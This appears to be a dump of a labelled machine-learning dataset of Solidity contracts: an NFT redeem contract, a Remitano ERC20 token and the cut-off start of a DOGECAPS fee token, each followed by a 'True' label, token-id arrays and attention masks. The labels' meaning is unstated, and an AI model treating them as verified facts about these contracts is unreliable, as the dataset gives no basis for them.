function setBaseURI(string memory baseURI) external onlyOwner {
_setBaseURI(baseURI);
}
/**
* Sets the referenced contract address.
*/
function setOgSquatchesContract(address _address) external onlyOwner {
ogSquatches = ISquatchesContract(_address);
}
/**
* Backup function in case someone is unable to redeem.
*/
function emergencyMint(address _to, uint256 tokenId) external onlyOwner {
tokenRedeemed[tokenId] = 1;
_safeMint(_to, tokenId);
}
/**
* Returns the wallet's squatches token ids
*/
function getSquatchTokenIds(address wallet) external view returns(uint256[] memory){
return ogSquatches.tokensOfOwner(wallet);
}
/**
* Checks if the wallet has at least one redeemable token.
*/
function hasRedeemableToken(address wallet) public view returns(bool)
{
uint256[] memory tokens = ogSquatches.tokensOfOwner(wallet);
for(uint256 i = 0; i < tokens.length; i++)
{
if(tokenRedeemed[tokens[i]] == 0) {
return true;
}
}
return false;
}
/**
* Redeems token for a single squatch token id
*/
function redeemToken(uint256 squatchTokenId) external {
require(redeemActive, "Redeem must be active to redeem");
require(squatchTokenId < 10000, "Invalid token ID");
require(ogSquatches.ownerOf(squatchTokenId) == _msgSender(), "You do not own this token");
require(tokenRedeemed[squatchTokenId] == 0, "You do not have a redeemable token");
tokenRedeemed[squatchTokenId] = 1;
_safeMint(_msgSender(), squatchTokenId);
}
/**
* Redeems all possible tokens
*/
function redeemAllTokens() external {
require(redeemActive, "Redeem must be active to redeem");
require(hasRedeemableToken(_msgSender()), "You do not have a redeemable token");
uint256[] memory tokens = ogSquatches.tokensOfOwner(_msgSender());
for(uint256 i = 0; i < tokens.length; i++) {
if(tokenRedeemed[tokens[i]] == 0)
{
tokenRedeemed[tokens[i]] = 1;
_safeMint(_msgSender(), tokens[i]);
}
}
}
/**
* Returns the full tokenURI.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(baseURI(), tokenId.toString()));
}
function withdrawFunds(address _to, uint256 _amount) external onlyOwner {
payable(_to).transfer(_amount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2603,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
29464,
11890,
2581,
17465,
1012,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
contract Remitano is ERC20 {
string public constant name = "Remitano";
string public constant symbol = "RET";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2423,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
7065,
8743,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
3616,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
9034,
1004,
1001,
4464,
1025,
1037,
1004,
1001,
4464,
1025,
2025,
2108,
5717,
1010,
2021,
1996,
1013,
1013,
5770,
2003,
2439,
2065,
1004,
1001,
4464,
1025,
1038,
1004,
1001,
4464,
1025,
2003,
2036,
7718,
1012,
1013,
1013,
2156,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
4139,
1013,
4720,
2475,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
16109,
2407,
1997,
2048,
3616,
19817,
4609,
18252,
1996,
22035,
9515,
3372,
1010,
7065,
8743,
2015,
2006,
2407,
2011,
5717,
1012,
1008,
1013,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
2069,
8073,
19514,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1004,
1001,
4464,
1025,
1056,
2907,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4942,
6494,
16649,
2048,
3616,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1006,
1045,
1012,
1041,
1012,
2065,
4942,
6494,
22342,
2003,
3618,
2084,
8117,
24997,
2094,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
/**
#DOGECAPS
https://bottlecaps.club/
https://t.me/capscrew
Great features:
3% fee auto add to the liquidity pool to locked forever when selling
2% fee auto distribute to all holders
50% burn to the black hole, with such big black hole and 3% fee, the strong holder will get a valuable reward
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
